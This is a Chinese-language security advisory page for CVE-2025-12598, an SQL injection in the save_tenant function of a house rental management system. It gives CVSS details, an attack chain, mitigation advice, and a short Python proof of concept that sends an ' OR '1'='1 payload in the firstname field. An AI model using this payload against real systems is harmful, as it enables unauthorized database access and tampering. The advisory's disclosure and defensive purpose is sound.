IPBUF安全漏洞报告
English
CVE-2025-12598 CVSS 4.7 中危

CVE-2025-12598: SourceCodester房屋租赁系统SQL注入漏洞

披露日期: 2025-11-02

漏洞信息

漏洞编号
CVE-2025-12598
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Best House Rental Management System 1.0

相关标签

SQL注入CVE-2025-12598SourceCodesterBest House Rental Management SystemWeb安全数据库漏洞PHP漏洞

漏洞概述

CVE-2025-12598是SourceCodester Best House Rental Management System 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于/admin_class.php文件的save_tenant函数中,攻击者可以通过操纵firstname参数注入恶意SQL语句。由于该系统是一款基于Web的房屋租赁管理系统,广泛应用于房地产中介和物业管理公司,漏洞的存在可能导致严重的业务数据泄露风险。攻击者成功利用此漏洞后,可以非法访问、修改或删除数据库中的租户信息、租金记录、合同数据等敏感信息,对企业的数据安全和业务连续性构成重大威胁。

技术细节

该SQL注入漏洞位于/admin_class.php的save_tenant函数中,具体受影响的参数为firstname。攻击者可以通过构造恶意Payload注入到SQL查询语句中,实现未授权的数据库操作。由于漏洞认证要求为高权限(PR:H),攻击者需要先获取管理员或相应权限账户才能利用此漏洞。攻击向量为网络(AV:N),意味着远程攻击者可以在互联网环境下发起攻击。漏洞影响系统的机密性、完整性和可用性均为低级别影响(C:L/I:L/A:L),但结合实际业务场景,攻击者可能通过SQL注入获取管理员凭据,进而提升权限并完全控制系统。建议相关用户立即采取修复措施,使用参数化查询或预编译语句重构save_tenant函数,确保用户输入不会被直接拼接到SQL语句中。

攻击链分析

STEP 1
步骤1
攻击者发现目标系统为SourceCodester Best House Rental Management System 1.0
STEP 2
步骤2
攻击者访问/admin_class.php文件,找到save_tenant函数
STEP 3
步骤3
攻击者获取系统高权限账户(如管理员账号)
STEP 4
步骤4
使用高权限账户登录系统,访问租户管理功能
STEP 5
步骤5
在firstname参数中注入恶意SQL Payload
STEP 6
步骤6
执行Payload,触发SQL注入漏洞
STEP 7
步骤7
提取或修改数据库中的敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12598 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Vulnerability: SQL Injection in /admin_class.php save_tenant function target_url = "http://target-site.com/admin_class.php" # Malicious payload for SQL injection in firstname parameter payload = "' OR '1'='1" data = { 'action': 'save_tenant', 'firstname': payload, 'lastname': 'Test', 'email': '[email protected]', 'contact': '1234567890', 'address': 'Test Address' } try: print("[*] Sending SQL injection payload...") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if 'error' not in response.text.lower() or response.status_code == 200: print("[+] Possible vulnerability confirmed!") else: print("[-] Response indicates potential SQL error") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(1)

影响范围

SourceCodester Best House Rental Management System 1.0

防御指南

临时缓解措施
立即限制save_tenant函数中firstname参数的输入,对特殊字符进行过滤和转义。在应用层添加SQL注入检测规则,使用参数化查询替代字符串拼接方式构建SQL语句。同时检查其他可能受影响的参数,确保全面修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表